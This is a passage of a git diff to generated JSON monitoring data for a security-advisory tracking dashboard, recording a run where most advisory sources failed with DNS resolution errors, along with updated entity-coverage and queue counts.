url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1706,10 +1643,10 @@ "display_name": "PrestaShop", "source_name": "Friends Of Presta Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1723,8 +1660,7 @@ "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://security.friendsofpresta.org/", - "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.449 + "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1733,10 +1669,10 @@ "display_name": "PrestaShop", "source_name": "GitHub PrestaShop Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1750,8 +1686,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/PrestaShop/PrestaShop/security/advisories", - "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.457 + "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1760,10 +1695,10 @@ "display_name": "PrestaShop", "source_name": "OSV PrestaShop", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1777,8 +1712,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.464 + "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1787,10 +1721,10 @@ "display_name": "PrestaShop", "source_name": "PrestaShop Security Page", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1804,8 +1738,7 @@ "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://build.prestashop-project.org/news/", - "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1814,10 +1747,10 @@ "display_name": "Ruby on Rails", "source_name": "OSV Rails", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1831,8 +1764,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.919 + "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1841,10 +1773,10 @@ "display_name": "React", "source_name": "OSV React", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1858,8 +1790,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.21 + "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1868,10 +1799,10 @@ "display_name": "Redmine", "source_name": "OSV Redmine", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1885,8 +1816,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.344 + "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1895,10 +1825,10 @@ "display_name": "Redmine", "source_name": "Redmine Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1912,8 +1842,7 @@ "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories", - "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.343 + "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1922,10 +1851,10 @@ "display_name": "Saleor", "source_name": "GitHub Saleor Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1939,8 +1868,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/saleor/saleor/security/advisories", - "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.04 + "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1949,10 +1877,10 @@ "display_name": "Saleor", "source_name": "OSV Saleor", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1966,8 +1894,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.214 + "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1976,10 +1903,10 @@ "display_name": "Shopware", "source_name": "OSV Shopware", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1993,8 +1920,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.518 + "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -2003,10 +1929,10 @@ "display_name": "Shopware", "source_name": "Shopware Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -2020,8 +1946,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/shopware/shopware/security/advisories", - "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.45 + "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { diff --git a/08-threat-intel/generated/dashboard/data/completeness.json b/08-threat-intel/generated/dashboard/data/completeness.json index 14a3a93c..dd61b320 100644 --- a/08-threat-intel/generated/dashboard/data/completeness.json +++ b/08-threat-intel/generated/dashboard/data/completeness.json @@ -1,7 +1,7 @@ { - "generated_at": "2026-03-20T15:46:06+00:00", + "generated_at": "2026-03-21T13:36:59+00:00", "advisory_total": 89, - "registry_advisory_total": 2399, + "registry_advisory_total": 2402, "scope": "latest-run-backed-advisories", "latest_statuses": { "verified-real": 89 @@ -16,7 +16,7 @@ "blocked": 0, "manual": 0, "verified_ratio": 100.0, - "complete": true, + "complete": false, "systems": [ { "system_id": "gitea", @@ -168,26 +168,29 @@ } ], "ingest_health": { - "failure_count": 0, - "failures": [] + "failure_count": 2, + "failures": [ + "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)", + "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)" + ] }, "source_health": { "active_source_count": 101, - "green_source_count": 101, - "failure_count": 0, + "green_source_count": 26, + "failure_count": 75, "last_fully_green_run": "2026-03-20T15:45:58+00:00", - "open_alert_count": 0, - "resolved_alert_count": 101 + "open_alert_count": 75, + "resolved_alert_count": 26 }, "entity_coverage": { - "generated_at": "2026-03-20T15:46:05+00:00", - "cataloged_entity_total": 97, + "generated_at": "2026-03-21T13:36:59+00:00", + "cataloged_entity_total": 99, "candidate_entity_total": 17, "history_full_complete_count": 40, - "latest_green_count": 97, - "workflow_complete_count": 97, - "version_mapped_count": 49, - "official_source_covered_count": 97, + "latest_green_count": 99, + "workflow_complete_count": 99, + "version_mapped_count": 51, + "official_source_covered_count": 99, "plugin_history_full_count": 4, "systems": [ { @@ -1516,21 +1519,31 @@ { "system_id": "spring-security", "display_name": "Spring Security", - "cataloged_entity_total": 1, - "child_entity_total": 0, + "cataloged_entity_total": 2, + "child_entity_total": 1, "candidate_entity_total": 0, - "workflow_complete_count": 1, - "version_mapped_count": 0, - "official_source_covered_count": 1, + "workflow_complete_count": 2, + "version_mapped_count": 1, + "official_source_covered_count": 2, "history_full_complete_count": 0, - "latest_green_count": 1, + "latest_green_count": 2, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, "plugin_total": 0, "entity_type_counts": { - "system": 1 + "system": 1, + "project": 1 }, - "top_entities": [], + "top_entities": [ + { + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "entity_type": "project", + "display_name": "org.springframework.security:spring-security-web", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" + } + ], "backlog_preview": [] }, { @@ -1623,29 +1636,38 @@ { "system_id": "traefik", "display_name": "Traefik", - "cataloged_entity_total": 2, - "child_entity_total": 1, + "cataloged_entity_total": 3, + "child_entity_total": 2, "candidate_entity_total": 0, - "workflow_complete_count": 2, - "version_mapped_count": 1, - "official_source_covered_count": 2, + "workflow_complete_count": 3, + "version_mapped_count": 2, + "official_source_covered_count": 3, "history_full_complete_count": 1, - "latest_green_count": 2, + "latest_green_count": 3, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, - "plugin_total": 0, + "plugin_total": 1, "entity_type_counts": { "system": 1, - "repo": 1 + "repo": 1, + "extension": 1 }, "top_entities": [ { "entity_id": "traefik--repo--github-com-traefik-traefik-v3", "entity_type": "repo", "display_name": "traefik / traefik / v3", - "advisory_count": 16, + "advisory_count": 17, "history_backfill_status": "complete", "latest_sync_status": "green" + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "display_name": "traefik / traefik / v3", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" } ], "backlog_preview": [] @@ -1890,18 +1912,18 @@ ], "queues": { "discovery_queue": 17, - "history_queue": 15, + "history_queue": 17, "latest_queue": 0, "workflow_queue": 2176 } }, "monitor_summary": { - "generated_at": "2026-03-20T15:45:58+00:00", + "generated_at": "2026-03-21T12:51:08+00:00", "active_source_count": 101, - "green_source_count": 101, - "source_failure_count": 0, - "open_alert_count": 0, - "resolved_alert_count": 101, + "green_source_count": 26, + "source_failure_count": 75, + "open_alert_count": 75, + "resolved_alert_count": 26, "last_fully_green_run": "2026-03-20T15:45:58+00:00", "source_catalog": { "system_count": 62, @@ -1909,10 +1931,13 @@ "retired_source_count": 78 }, "ingest": { - "new_count": 0, + "new_count": 3, "updated_count": 0, - "failure_count": 0, - "systems_touched": [] + "failure_count": 2, + "systems_touched": [ + "spring-security", + "traefik" + ] }, "validation": { "passed": true, @@ -1920,12 +1945,12 @@ "errors": [] }, "entity_coverage": { - "cataloged_entity_total": 97, + "cataloged_entity_total": 99, "candidate_entity_total": 17, "history_full_complete_count": 40, - "workflow_complete_count": 97, - "version_mapped_count": 49, - "official_source_covered_count": 97 + "workflow_complete_count": 99, + "version_mapped_count": 51, + "official_source_covered_count": 99 } }, "historical_blockers": [ diff --git a/08-threat-intel/generated/dashboard/data/entity-completeness.json b/08-threat-intel/generated/dashboard/data/entity-completeness.json index 9d3f1b34..a68743d7 100644 --- a/08-threat-intel/generated/dashboard/data/entity-completeness.json +++ b/08-threat-intel/generated/dashboard/data/entity-completeness.json @@ -1,12 +1,12 @@ { - "generated_at": "2026-03-20T15:46:05+00:00", - "cataloged_entity_total": 97, + "generated_at": "2026-03-21T13:36:59+00:00", + "cataloged_entity_total": 99, "candidate_entity_total": 17, "history_full_complete_count": 40, - "latest_green_count": 97, - "workflow_complete_count": 97, - "version_mapped_count": 49, - "official_source_covered_count": 97, + "latest_green_count": 99, + "workflow_complete_count": 99, + "version_mapped_count": 51, + "official_source_covered_count": 99, "plugin_history_full_count": 4, "systems": [ { @@ -1335,21 +1335,31 @@ { "system_id": "spring-security", "display_name": "Spring Security", - "cataloged_entity_total": 1, - "child_entity_total": 0, + "cataloged_entity_total": 2, + "child_entity_total": 1, "candidate_entity_total": 0, - "workflow_complete_count": 1, - "version_mapped_count": 0, - "official_source_covered_count": 1, + "workflow_complete_count": 2, + "version_mapped_count": 1, + "official_source_covered_count": 2, "history_full_complete_count": 0, - "latest_green_count": 1, + "latest_green_count": 2, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, "plugin_total": 0, "entity_type_counts": { - "system": 1 + "system": 1, + "project": 1 }, - "top_entities": [], + "top_entities": [ + { + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "entity_type": "project", + "display_name": "org.springframework.security:spring-security-web", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" + } + ], "backlog_preview": [] }, { @@ -1442,29 +1452,38 @@ { "system_id": "traefik", "display_name": "Traefik", - "cataloged_entity_total": 2, - "child_entity_total": 1, + "cataloged_entity_total": 3, + "child_entity_total": 2, "candidate_entity_total": 0, - "workflow_complete_count": 2, - "version_mapped_count": 1, - "official_source_covered_count": 2, + "workflow_complete_count": 3, + "version_mapped_count": 2, + "official_source_covered_count": 3, "history_full_complete_count": 1, - "latest_green_count": 2, + "latest_green_count": 3, "version_gap_entity_count": 1, "workflow_gap_entity_count": 0, - "plugin_total": 0, + "plugin_total": 1, "entity_type_counts": { "system": 1, - "repo": 1 + "repo": 1, + "extension": 1 }, "top_entities": [ { "entity_id": "traefik--repo--github-com-traefik-traefik-v3", "entity_type": "repo", "display_name": "traefik / traefik / v3", - "advisory_count": 16, + "advisory_count": 17, "history_backfill_status": "complete", "latest_sync_status": "green" + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "display_name": "traefik / traefik / v3", + "advisory_count": 1, + "history_backfill_status": "seeded", + "latest_sync_status": "green" } ], "backlog_preview": [] @@ -1709,7 +1728,7 @@ ], "queues": { "discovery_queue": 17, - "history_queue": 15, + "history_queue": 17, "latest_queue": 0, "workflow_queue": 2176 } diff --git a/08-threat-intel/generated/dashboard/data/entity-queues.json b/08-threat-intel/generated/dashboard/data/entity-queues.json index 0034f68d..0d7833c6 100644 --- a/08-threat-intel/generated/dashboard/data/entity-queues.json +++ b/08-threat-intel/generated/dashboard/data/entity-queues.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-20T15:46:05+00:00", + "generated_at": "2026-03-21T13:36:59+00:00", "discovery_queue": { "count": 17, "items": [ @@ -210,7 +210,7 @@ ] }, "history_queue": { - "count": 15, + "count": 17, "items": [ { "entity_id": "caddy--extension--github-com-caddyserver-caddy-v2", @@ -289,6 +289,20 @@ "history_policy": "history-full", "history_backfill_status": "seeded" }, + { + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "display_name": "org.springframework.security:spring-security-web", + "root_system_id": "spring-security", + "history_policy": "history-full", + "history_backfill_status": "seeded" + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "display_name": "traefik / traefik / v3", + "root_system_id": "traefik", + "history_policy": "history-full", + "history_backfill_status": "seeded" + }, { "entity_id": "vite--module--vite", "display_name": "vite", diff --git a/08-threat-intel/generated/dashboard/data/monitor-summary.json b/08-threat-intel/generated/dashboard/data/monitor-summary.json index 8ac892df..ab62d84e 100644 --- a/08-threat-intel/generated/dashboard/data/monitor-summary.json +++ b/08-threat-intel/generated/dashboard/data/monitor-summary.json @@ -1,10 +1,10 @@ { - "generated_at": "2026-03-20T15:45:58+00:00", + "generated_at": "2026-03-21T12:51:08+00:00", "active_source_count": 101, - "green_source_count": 101, - "source_failure_count": 0, - "open_alert_count": 0, - "resolved_alert_count": 101, + "green_source_count": 26, + "source_failure_count": 75, + "open_alert_count": 75, + "resolved_alert_count": 26, "last_fully_green_run": "2026-03-20T15:45:58+00:00", "source_catalog": { "system_count": 62, @@ -12,10 +12,13 @@ "retired_source_count": 78 }, "ingest": { - "new_count": 0, + "new_count": 3, "updated_count": 0, - "failure_count": 0, - "systems_touched": [] + "failure_count": 2, + "systems_touched": [ + "spring-security", + "traefik" + ] }, "validation": { "passed": true, @@ -23,11 +26,11 @@ "errors": [] }, "entity_coverage": { - "cataloged_entity_total": 97, + "cataloged_entity_total": 99, "candidate_entity_total": 17, "history_full_complete_count": 40, - "workflow_complete_count": 97, - "version_mapped_count": 49, - "official_source_covered_count": 97 + "workflow_complete_count": 99, + "version_mapped_count": 51, + "official_source_covered_count": 99 } } diff --git a/08-threat-intel/generated/dashboard/data/source-catalog-audit.json b/08-threat-intel/generated/dashboard/data/source-catalog-audit.json index 951fee0f..df231c3a 100644 --- a/08-threat-intel/generated/dashboard/data/source-catalog-audit.json +++ b/08-threat-intel/generated/dashboard/data/source-catalog-audit.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-20T15:45:44+00:00", + "generated_at": "2026-03-21T09:17:05+00:00", "system_count": 62, "source_count": 179, "active_source_count": 101, diff --git a/08-threat-intel/generated/dashboard/data/source-health.json b/08-threat-intel/generated/dashboard/data/source-health.json index eb0b5abe..f85e1efc 100644 --- a/08-threat-intel/generated/dashboard/data/source-health.json +++ b/08-threat-intel/generated/dashboard/data/source-health.json @@ -1,617 +1,16 @@ { - "generated_at": "2026-03-20T15:45:58+00:00", + "generated_at": "2026-03-21T12:51:08+00:00", "active_source_count": 101, - "green_source_count": 101, - "failure_count": 0, - "all_green": true, + "green_source_count": 26, + "failure_count": 75, + "all_green": false, "last_fully_green_run": "2026-03-20T15:45:58+00:00", - "retries_performed": 0, + "retries_performed": 101, "probes": [ - { - "system_id": "adminer", - "source_name": "OSV Adminer", - "source_kind": "osv-batch", - "elapsed_seconds": 8.815, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "adobe-commerce", - "source_name": "Adobe Magento Security Index", - "source_kind": "vendor-index", - "elapsed_seconds": 2.717, - "kind": "vendor-index", - "items_seen": 46 - }, - { - "system_id": "angular", - "source_name": "OSV Angular", - "source_kind": "osv-batch", - "elapsed_seconds": 5.439, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "apache-httpd", - "source_name": "Apache HTTPD Security", - "source_kind": "html-links", - "elapsed_seconds": 8.948, - "kind": "html-links", - "items_seen": 182 - }, - { - "system_id": "apache-httpd", - "source_name": "CISA KEV Apache HTTPD", - "source_kind": "kev-json", - "elapsed_seconds": 7.344, - "kind": "kev-json", - "items_seen": 1551 - }, - { - "system_id": "apache-tomcat", - "source_name": "Apache Tomcat Security", - "source_kind": "html-links", - 